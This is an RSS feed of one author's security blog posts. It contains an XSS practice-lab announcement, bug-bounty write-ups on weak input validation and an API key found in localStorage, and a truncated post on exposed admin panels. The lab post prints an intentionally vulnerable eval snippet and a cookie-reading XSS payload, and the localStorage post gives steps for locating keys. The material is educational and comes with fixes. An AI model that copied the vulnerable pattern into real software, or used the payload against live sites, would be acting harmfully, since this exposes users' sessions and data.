<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Abhinav Singwal</title>
    <description>The latest articles on DEV Community by Abhinav Singwal (@abhinavsingwal).</description>
    <link>https://dev.to/abhinavsingwal</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F2914312%2F452f11ca-f061-4f95-a0f2-c76390b4e5c9.jpg</url>
      <title>DEV Community: Abhinav Singwal</title>
      <link>https://dev.to/abhinavsingwal</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/abhinavsingwal"/>
    <language>en</language>
    <item>
      <title>I recently published a comprehensive guide to my open-source project, xss-labs, on Dev.to. The post covers all 39 interactive XSS challenges that run directly in your browser.</title>
      <dc:creator>Abhinav Singwal</dc:creator>
      <pubDate>Tue, 26 May 2026 06:21:48 +0000</pubDate>
      <link>https://dev.to/abhinavsingwal/i-recently-published-a-comprehensive-guide-to-my-open-source-project-xss-labs-on-devto-the-post-2k0g</link>
      <guid>https://dev.to/abhinavsingwal/i-recently-published-a-comprehensive-guide-to-my-open-source-project-xss-labs-on-devto-the-post-2k0g</guid>
      <description>&lt;div class="ltag__link--embedded"&gt;
  &lt;div class="crayons-story "&gt;
  &lt;a href="https://dev.to/abhinavsingwal/master-xss-the-practical-way-introducing-xss-labs-2p07" class="crayons-story__hidden-navigation-link"&gt;Master XSS the Practical Way: Introducing xss-labs&lt;/a&gt;


  &lt;div class="crayons-story__body crayons-story__body-full_post"&gt;
    &lt;div class="crayons-story__top"&gt;
      &lt;div class="crayons-story__meta"&gt;
        &lt;div class="crayons-story__author-pic"&gt;

          &lt;a href="/abhinavsingwal" class="crayons-avatar  crayons-avatar--l  "&gt;
            &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F2914312%2F452f11ca-f061-4f95-a0f2-c76390b4e5c9.jpg" alt="abhinavsingwal profile" class="crayons-avatar__image" width="800" height="822"&gt;
          &lt;/a&gt;
        &lt;/div&gt;
        &lt;div&gt;
          &lt;div&gt;
            &lt;a href="/abhinavsingwal" class="crayons-story__secondary fw-medium m:hidden"&gt;
              Abhinav Singwal
            &lt;/a&gt;
            &lt;div class="profile-preview-card relative mb-4 s:mb-0 fw-medium hidden m:inline-block"&gt;
              
                Abhinav Singwal
                
              
              &lt;div id="story-author-preview-content-3754341" class="profile-preview-card__content crayons-dropdown branded-7 p-4 pt-0"&gt;
                &lt;div class="gap-4 grid"&gt;
                  &lt;div class="-mt-4"&gt;
                    &lt;a href="/abhinavsingwal" class="flex"&gt;
                      &lt;span class="crayons-avatar crayons-avatar--xl mr-2 shrink-0"&gt;
                        &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F2914312%2F452f11ca-f061-4f95-a0f2-c76390b4e5c9.jpg" class="crayons-avatar__image" alt="" width="800" height="822"&gt;
                      &lt;/span&gt;
                      &lt;span class="crayons-link crayons-subtitle-2 mt-5"&gt;Abhinav Singwal&lt;/span&gt;
                    &lt;/a&gt;
                  &lt;/div&gt;
                  &lt;div class="print-hidden"&gt;
                    
                      Follow
                    
                  &lt;/div&gt;
                  &lt;div class="author-preview-metadata-container"&gt;&lt;/div&gt;
                &lt;/div&gt;
              &lt;/div&gt;
            &lt;/div&gt;

          &lt;/div&gt;
          &lt;a href="https://dev.to/abhinavsingwal/master-xss-the-practical-way-introducing-xss-labs-2p07" class="crayons-story__tertiary fs-xs"&gt;&lt;time&gt;May 26&lt;/time&gt;&lt;span class="time-ago-indicator-initial-placeholder"&gt;&lt;/span&gt;&lt;/a&gt;
        &lt;/div&gt;
      &lt;/div&gt;

    &lt;/div&gt;

    &lt;div class="crayons-story__indention"&gt;
      &lt;h2 class="crayons-story__title crayons-story__title-full_post"&gt;
        &lt;a href="https://dev.to/abhinavsingwal/master-xss-the-practical-way-introducing-xss-labs-2p07" id="article-link-3754341"&gt;
          Master XSS the Practical Way: Introducing xss-labs
        &lt;/a&gt;
      &lt;/h2&gt;
        &lt;div class="crayons-story__tags"&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/tryhackme"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;tryhackme&lt;/a&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/xss"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;xss&lt;/a&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/xssrat"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;xssrat&lt;/a&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/hackthebox"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;hackthebox&lt;/a&gt;
        &lt;/div&gt;
      &lt;div class="crayons-story__bottom"&gt;
        &lt;div class="crayons-story__details"&gt;
            &lt;a href="https://dev.to/abhinavsingwal/master-xss-the-practical-way-introducing-xss-labs-2p07#comments" class="crayons-btn crayons-btn--s crayons-btn--ghost crayons-btn--icon-left flex items-center"&gt;
              Comments


              &lt;span class="hidden s:inline"&gt;Add Comment&lt;/span&gt;
            &lt;/a&gt;
        &lt;/div&gt;
        &lt;div class="crayons-story__save"&gt;
          &lt;small class="crayons-story__tertiary fs-xs mr-2"&gt;
            3 min read
          &lt;/small&gt;
            
              &lt;span class="bm-initial"&gt;
                

              &lt;/span&gt;
              &lt;span class="bm-success"&gt;
                

              &lt;/span&gt;
            
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;

&lt;/div&gt;


</description>
    </item>
    <item>
      <title>Master XSS the Practical Way: Introducing xss-labs</title>
      <dc:creator>Abhinav Singwal</dc:creator>
      <pubDate>Tue, 26 May 2026 06:20:28 +0000</pubDate>
      <link>https://dev.to/abhinavsingwal/master-xss-the-practical-way-introducing-xss-labs-2p07</link>
      <guid>https://dev.to/abhinavsingwal/master-xss-the-practical-way-introducing-xss-labs-2p07</guid>
      <description>&lt;p&gt;I built xss-labs, a free, open-source collection of 39 interactive XSS challenges. It runs entirely in your browser with no server and no setup required. It is perfect for developers, penetration testers, and anyone preparing for PortSwigger, TryHackMe, or bug bounty programs. The live demo is available at yogsec.github.io/xss-labs and the GitHub repository is at &lt;a href="//github.com/yogsec/xss-labs"&gt;github.com/yogsec/xss-labs&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxqsdyh6s1luf0dc0n0vz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxqsdyh6s1luf0dc0n0vz.png" alt="cross site scripting labs" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Why Another XSS Lab
&lt;/h3&gt;

&lt;p&gt;Cross-Site Scripting (XSS) remains number seven on the OWASP Top 10, and it continues to be a widespread vulnerability. The main reason is that developers still trust user input without proper sanitization.&lt;/p&gt;

&lt;p&gt;The problem with most XSS tutorials is that they focus only on theory. Many require setting up a vulnerable virtual machine or a backend environment. They also fail to show real injection points across different contexts.&lt;/p&gt;

&lt;p&gt;I wanted something different. I wanted a resource where you could open a URL and start hacking immediately without any installation. I wanted every major XSS vector covered, including reflected, stored, DOM-based, and event handler injections. I also wanted solutions included so learners understand why a particular payload works.&lt;/p&gt;

&lt;p&gt;That is why I built xss-labs.&lt;/p&gt;

&lt;h3&gt;
  
  
  What Is Inside the 39 Labs
&lt;/h3&gt;

&lt;p&gt;The labs are organized into logical categories. Each category focuses on a specific injection context.&lt;/p&gt;

&lt;p&gt;The reflected XSS section covers GET parameter reflection, POST parameters simulated with sessionStorage, URL hash injection, Referer header mock, and User-Agent reflection.&lt;/p&gt;

&lt;p&gt;The stored XSS section using frontend storage includes cookie value reflection, document.title injection, window.name persistence, localStorage key reflection, sessionStorage value reflection, IndexedDB read and render, cookie injection, cross-page navigation with window.name, history.state with pushState, Base64 decode and inject, and multi-key local storage.&lt;/p&gt;

&lt;p&gt;The DOM-based XSS section demonstrates document.write with location.search, innerHTML with unsanitized input, insertAdjacentHTML injection, outerHTML replacement, eval() of user-controlled strings, setTimeout with user strings, setInterval injection, the Function() constructor, the javascript: pseudo-protocol in location.href, and dynamic script src injection.&lt;/p&gt;

&lt;p&gt;The event handler XSS section covers onclick injection, onmouseover XSS, img onerror triggers, body onload payloads, onfocus with autofocus, oninput injection, onchange select XSS, onkeyup injection, and onsubmit form hijacking.&lt;/p&gt;

&lt;p&gt;Each lab is a single HTML file. You can read the vulnerable code, try your own payloads, and click the solution button when you need help understanding the fix.&lt;/p&gt;

&lt;h3&gt;
  
  
  How to Use xss-labs
&lt;/h3&gt;

&lt;p&gt;Using the labs takes less than thirty seconds. First, visit &lt;a href="https://yogsec.github.io/xss-labs" rel="noopener noreferrer"&gt;yogsec.github.io/xss-labs&lt;/a&gt;. Second, browse the lab index page to see all available challenges. Third, click on any lab to open it. Each lab contains a description of the vulnerability, an interactive vulnerable component, a real-time output reflection area, a collapsible hints section, and a solution panel with explanation and fix.&lt;/p&gt;

&lt;p&gt;You can experiment with different payloads to understand how each attack vector works. All labs run locally in your browser. No malicious code is transmitted externally.&lt;/p&gt;

&lt;p&gt;For the best learning experience, open your browser's developer tools and watch the network tab and console as you inject payloads.&lt;/p&gt;

&lt;h3&gt;
  
  
  Who Should Use These Labs
&lt;/h3&gt;

&lt;p&gt;Web developers will benefit by learning how to avoid writing vulnerable code. Penetration testers can practice bypass techniques in a safe environment. Bug bounty hunters will recognize XSS vectors more quickly during real engagements. Students preparing for PortSwigger labs, TryHackMe, or the CEH practical exam can drill the basics before moving to advanced challenges. Self-taught hackers will find hands-on practice more valuable than reading CVEs.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Technology Behind the Labs
&lt;/h3&gt;

&lt;p&gt;The labs are built with HTML5, CSS3, and vanilla JavaScript. No frameworks are used to obscure the vulnerable logic. Bootstrap 5 is included only for layout purposes and does not affect security. The entire project is hosted on GitHub Pages, which means it is completely client-side and requires no backend server.&lt;/p&gt;

&lt;p&gt;Every lab is deliberately simple so you can focus on the injection technique rather than framework complexity.&lt;/p&gt;

&lt;h3&gt;
  
  
  A Real-World Learning Example
&lt;/h3&gt;

&lt;p&gt;Lab number seven demonstrates eval injection. The vulnerable code looks like this:&lt;/p&gt;

&lt;p&gt;let userInput = new URLSearchParams(location.search).get('code');&lt;br&gt;
eval(userInput);&lt;/p&gt;

&lt;p&gt;An attacker could supply a payload such as code=alert(document.cookie) to execute arbitrary JavaScript. What you learn from this lab is that you should never pass user input to eval, setTimeout with a string, the Function constructor, or similar dynamic code execution functions. The lab shows you both the exploit and the fix, such as using JSON.parse or a whitelist approach.&lt;/p&gt;

</description>
      <category>tryhackme</category>
      <category>xss</category>
      <category>xssrat</category>
      <category>hackthebox</category>
    </item>
    <item>
      <title>#Privacy #Google #GooglePhotos #Gmail</title>
      <dc:creator>Abhinav Singwal</dc:creator>
      <pubDate>Sat, 16 May 2026 23:26:24 +0000</pubDate>
      <link>https://dev.to/abhinavsingwal/privacy-google-googlephotos-gmail-2752</link>
      <guid>https://dev.to/abhinavsingwal/privacy-google-googlephotos-gmail-2752</guid>
      <description>&lt;div class="ltag__link--embedded"&gt;
  &lt;div class="crayons-story "&gt;
  &lt;a href="https://dev.to/abhinavsingwal/your-private-google-photos-are-protected-by-just-a-link-that-is-not-okay-b6" class="crayons-story__hidden-navigation-link"&gt;Your Private Google Photos Are Protected by Just a Link. That Is Not Okay.&lt;/a&gt;


  &lt;div class="crayons-story__body crayons-story__body-full_post"&gt;
    &lt;div class="crayons-story__top"&gt;
      &lt;div class="crayons-story__meta"&gt;
        &lt;div class="crayons-story__author-pic"&gt;

          &lt;a href="/abhinavsingwal" class="crayons-avatar  crayons-avatar--l  "&gt;
            &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F2914312%2F452f11ca-f061-4f95-a0f2-c76390b4e5c9.jpg" alt="abhinavsingwal profile" class="crayons-avatar__image" width="800" height="822"&gt;
          &lt;/a&gt;
        &lt;/div&gt;
        &lt;div&gt;
          &lt;div&gt;
            &lt;a href="/abhinavsingwal" class="crayons-story__secondary fw-medium m:hidden"&gt;
              Abhinav Singwal
            &lt;/a&gt;
            &lt;div class="profile-preview-card relative mb-4 s:mb-0 fw-medium hidden m:inline-block"&gt;
              
                Abhinav Singwal
                
              
              &lt;div id="story-author-preview-content-3685459" class="profile-preview-card__content crayons-dropdown branded-7 p-4 pt-0"&gt;
                &lt;div class="gap-4 grid"&gt;
                  &lt;div class="-mt-4"&gt;
                    &lt;a href="/abhinavsingwal" class="flex"&gt;
                      &lt;span class="crayons-avatar crayons-avatar--xl mr-2 shrink-0"&gt;
                        &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F2914312%2F452f11ca-f061-4f95-a0f2-c76390b4e5c9.jpg" class="crayons-avatar__image" alt="" width="800" height="822"&gt;
                      &lt;/span&gt;
                      &lt;span class="crayons-link crayons-subtitle-2 mt-5"&gt;Abhinav Singwal&lt;/span&gt;
                    &lt;/a&gt;
                  &lt;/div&gt;
                  &lt;div class="print-hidden"&gt;
                    
                      Follow
                    
                  &lt;/div&gt;
                  &lt;div class="author-preview-metadata-container"&gt;&lt;/div&gt;
                &lt;/div&gt;
              &lt;/div&gt;
            &lt;/div&gt;

          &lt;/div&gt;
          &lt;a href="https://dev.to/abhinavsingwal/your-private-google-photos-are-protected-by-just-a-link-that-is-not-okay-b6" class="crayons-story__tertiary fs-xs"&gt;&lt;time&gt;May 16&lt;/time&gt;&lt;span class="time-ago-indicator-initial-placeholder"&gt;&lt;/span&gt;&lt;/a&gt;
        &lt;/div&gt;
      &lt;/div&gt;

    &lt;/div&gt;

    &lt;div class="crayons-story__indention"&gt;
      &lt;h2 class="crayons-story__title crayons-story__title-full_post"&gt;
        &lt;a href="https://dev.to/abhinavsingwal/your-private-google-photos-are-protected-by-just-a-link-that-is-not-okay-b6" id="article-link-3685459"&gt;
          Your Private Google Photos Are Protected by Just a Link. That Is Not Okay.
        &lt;/a&gt;
      &lt;/h2&gt;
        &lt;div class="crayons-story__tags"&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/privacy"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;privacy&lt;/a&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/google"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;google&lt;/a&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/googlephotos"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;googlephotos&lt;/a&gt;
            &lt;a class="crayons-tag  crayons-tag--monochrome " href="/t/photos"&gt;&lt;span class="crayons-tag__prefix"&gt;#&lt;/span&gt;photos&lt;/a&gt;
        &lt;/div&gt;
      &lt;div class="crayons-story__bottom"&gt;
        &lt;div class="crayons-story__details"&gt;
            &lt;a href="https://dev.to/abhinavsingwal/your-private-google-photos-are-protected-by-just-a-link-that-is-not-okay-b6#comments" class="crayons-btn crayons-btn--s crayons-btn--ghost crayons-btn--icon-left flex items-center"&gt;
              Comments


              1&lt;span class="hidden s:inline"&gt; comment&lt;/span&gt;
            &lt;/a&gt;
        &lt;/div&gt;
        &lt;div class="crayons-story__save"&gt;
          &lt;small class="crayons-story__tertiary fs-xs mr-2"&gt;
            4 min read
          &lt;/small&gt;
            
              &lt;span class="bm-initial"&gt;
                

              &lt;/span&gt;
              &lt;span class="bm-success"&gt;
                

              &lt;/span&gt;
            
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;

&lt;/div&gt;


</description>
    </item>
    <item>
      <title>Finding Weak Input Validation in Address Fields</title>
      <dc:creator>Abhinav Singwal</dc:creator>
      <pubDate>Sat, 25 Apr 2026 13:20:00 +0000</pubDate>
      <link>https://dev.to/abhinavsingwal/finding-weak-input-validation-in-address-fields-17f4</link>
      <guid>https://dev.to/abhinavsingwal/finding-weak-input-validation-in-address-fields-17f4</guid>
      <description>&lt;p&gt;While testing a web application’s account settings feature, I came across an interesting case related to input validation.&lt;/p&gt;

&lt;h3&gt;
  
  
  What I Found
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Faf3ko1r4fqbjzll6pvtu.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Faf3ko1r4fqbjzll6pvtu.jpg" alt=" " width="800" height="423"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The application allowed users to update details such as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;City&lt;/li&gt;
&lt;li&gt;State&lt;/li&gt;
&lt;li&gt;Name&lt;/li&gt;
&lt;li&gt;Phone&lt;/li&gt;
&lt;li&gt;Postal Code&lt;/li&gt;
&lt;li&gt;Street fields&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;By intercepting the request and modifying these parameters, I was able to submit arbitrary values like:&lt;/p&gt;

&lt;p&gt;Vulnerable@123&lt;/p&gt;

&lt;p&gt;The application accepted these values without any validation and stored them successfully. When revisiting the profile page, the same values were reflected exactly as submitted.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why This Matters
&lt;/h3&gt;

&lt;p&gt;At first glance, this might look like a low impact issue. But weak input validation can lead to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Data integrity problems&lt;/li&gt;
&lt;li&gt;Inconsistent behavior in downstream systems&lt;/li&gt;
&lt;li&gt;Potential attack surface if combined with other vulnerabilities&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For example, if such inputs are later used in templates, logs, or external integrations, they could introduce unexpected behavior or even security risks.&lt;/p&gt;

&lt;h3&gt;
  
  
  Technical Observation
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;No strict server side validation was enforced&lt;/li&gt;
&lt;li&gt;Client side controls were easily bypassed&lt;/li&gt;
&lt;li&gt;Arbitrary characters and formats were accepted&lt;/li&gt;
&lt;li&gt;Data was reflected without normalization&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Report Outcome
&lt;/h3&gt;

&lt;p&gt;The issue was marked as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Informational&lt;/li&gt;
&lt;li&gt;Duplicate&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Since it did not directly lead to a security impact, it was considered low priority.&lt;/p&gt;

&lt;h3&gt;
  
  
  Key Takeaways
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Never rely only on client side validation&lt;/li&gt;
&lt;li&gt;Always enforce strong server side validation&lt;/li&gt;
&lt;li&gt;Even low severity issues are worth exploring&lt;/li&gt;
&lt;li&gt;Try chaining small issues to uncover real impact&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>backend</category>
      <category>webdev</category>
      <category>django</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>When an API Key Lives in Local Storage: A Subtle but Risky Pattern</title>
      <dc:creator>Abhinav Singwal</dc:creator>
      <pubDate>Thu, 23 Apr 2026 11:48:49 +0000</pubDate>
      <link>https://dev.to/abhinavsingwal/when-an-api-key-lives-in-local-storage-a-subtle-but-risky-pattern-3fn7</link>
      <guid>https://dev.to/abhinavsingwal/when-an-api-key-lives-in-local-storage-a-subtle-but-risky-pattern-3fn7</guid>
      <description>&lt;p&gt;While testing a production web application, I noticed a third-party API key (used for consent and privacy management) stored directly in the browser’s &lt;code&gt;localStorage&lt;/code&gt;. It’s a common pattern in modern frontends—but one that can quietly expand your attack surface.&lt;/p&gt;

&lt;p&gt;This post breaks down why it matters, how it can be abused in real scenarios, and what both developers and bug hunters should look for.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Happened
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;A consent-management service API key was present in &lt;code&gt;localStorage&lt;/code&gt; on page load (no authentication required).&lt;/li&gt;
&lt;li&gt;Any JavaScript executing in the page context could read it.&lt;/li&gt;
&lt;li&gt;The key appeared to be used for client-side interactions with a third-party API.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fva8wqoircu7evhaicm98.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fva8wqoircu7evhaicm98.png" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Why This Is Risky
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1) Local Storage Is Not a Secret Store
&lt;/h3&gt;

&lt;p&gt;Anything in &lt;code&gt;localStorage&lt;/code&gt; is:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Readable by any script on the page&lt;/li&gt;
&lt;li&gt;Persisted across sessions&lt;/li&gt;
&lt;li&gt;Exposed to browser extensions and injected scripts&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If an attacker lands an XSS—even a low-impact one—they can exfiltrate the key instantly.&lt;/p&gt;

&lt;h3&gt;
  
  
  2) Keys Enable Backend Interaction
&lt;/h3&gt;

&lt;p&gt;Even if the key is “just for a third-party service,” it may:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Call APIs that mutate state (e.g., consent records)&lt;/li&gt;
&lt;li&gt;Access user-related data&lt;/li&gt;
&lt;li&gt;Trigger workflows like DSAR operations&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  3) Low Impact Alone, Higher Impact When Chained
&lt;/h3&gt;

&lt;p&gt;On its own, a single exposed key might look benign. Combined with:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;XSS&lt;/li&gt;
&lt;li&gt;Misconfigured CORS&lt;/li&gt;
&lt;li&gt;Over-permissive API scopes&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;…it can become a practical exploitation path.&lt;/p&gt;




&lt;h2&gt;
  
  
  Threat Modeling the Scenario
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Attacker prerequisites:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Ability to run JavaScript in the victim’s browser (XSS, malicious extension, supply-chain script)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;What they can do:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Read &lt;code&gt;localStorage&lt;/code&gt; → extract API key&lt;/li&gt;
&lt;li&gt;Replay requests to the third-party API&lt;/li&gt;
&lt;li&gt;Attempt to manipulate consent or privacy data (depending on API permissions)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Potential outcomes:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Unauthorized modification of user preferences&lt;/li&gt;
&lt;li&gt;Abuse of consent APIs&lt;/li&gt;
&lt;li&gt;Compliance and trust issues&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  How to Verify (For Bug Hunters)
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Open the target site.&lt;/li&gt;
&lt;li&gt;Open DevTools → &lt;strong&gt;Application&lt;/strong&gt; tab → &lt;strong&gt;Local Storage&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Look for keys like:&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;apiKey&lt;/code&gt;, &lt;code&gt;token&lt;/code&gt;, &lt;code&gt;auth&lt;/code&gt;, &lt;code&gt;clientKey&lt;/code&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Trace usage:&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Search in Sources/Network for where the key is used.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Inspect requests made with the key.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Validate impact:&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Are there write operations?&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Can you call endpoints outside the app?&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Are scopes restricted?&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Tip:&lt;/strong&gt; Don’t stop at “key found.” Always try to demonstrate:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What the key can do&lt;/li&gt;
&lt;li&gt;Whether it can be abused outside the browser context&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Developer Guidance
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1) Don’t Store Secrets in the Browser
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Treat API keys like credentials.&lt;/li&gt;
&lt;li&gt;If it must be used client-side, assume it is public.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  2) Use a Backend Proxy
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Keep sensitive keys server-side.&lt;/li&gt;
&lt;li&gt;Let the frontend call your backend, which then calls the third-party API.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  3) Scope and Restrict Keys
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Limit permissions to the minimum required.&lt;/li&gt;
&lt;li&gt;Bind keys to specific domains/IPs if supported.&lt;/li&gt;
&lt;li&gt;Separate read vs write capabilities.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  4) Rotate and Monitor
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Rotate exposed keys immediately.&lt;/li&gt;
&lt;li&gt;Monitor usage patterns for anomalies.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  5) Harden the Client
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Implement a strict Content Security Policy (CSP).&lt;/li&gt;
&lt;li&gt;Reduce third-party script exposure.&lt;/li&gt;
&lt;li&gt;Sanitize and validate all inputs to minimize XSS risk.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>apikey</category>
      <category>backend</category>
      <category>developer</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>When Internal Admin Panels and Config Files Are Publicly Accessible</title>
      <dc:creator>Abhinav Singwal</dc:creator>
      <pubDate>Sun, 19 Apr 2026 11:03:28 +0000</pubDate>
      <link>https://dev.to/abhinavsingwal/when-internal-admin-panels-and-config-files-are-publicly-accessible-59a8</link>
      <guid>https://dev.to/abhinavsingwal/when-internal-admin-panels-and-config-files-are-publicly-accessible-59a8</guid>
      <description>&lt;p&gt;While exploring a web application, I came across an issue where internal administrative resources and configuration files were accessible over the internet without proper restrictions. At first glance, this might not look critical, but it significantly increases the risk for targeted attacks.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhhsoc5ms9m3nte88jwso.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhhsoc5ms9m3nte88jwso.png" alt="Exposed Admin Panel" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  Simple Explanation (For Everyone)
&lt;/h3&gt;

&lt;p&gt;Imagine a building where the control room is supposed to be restricted.&lt;br&gt;
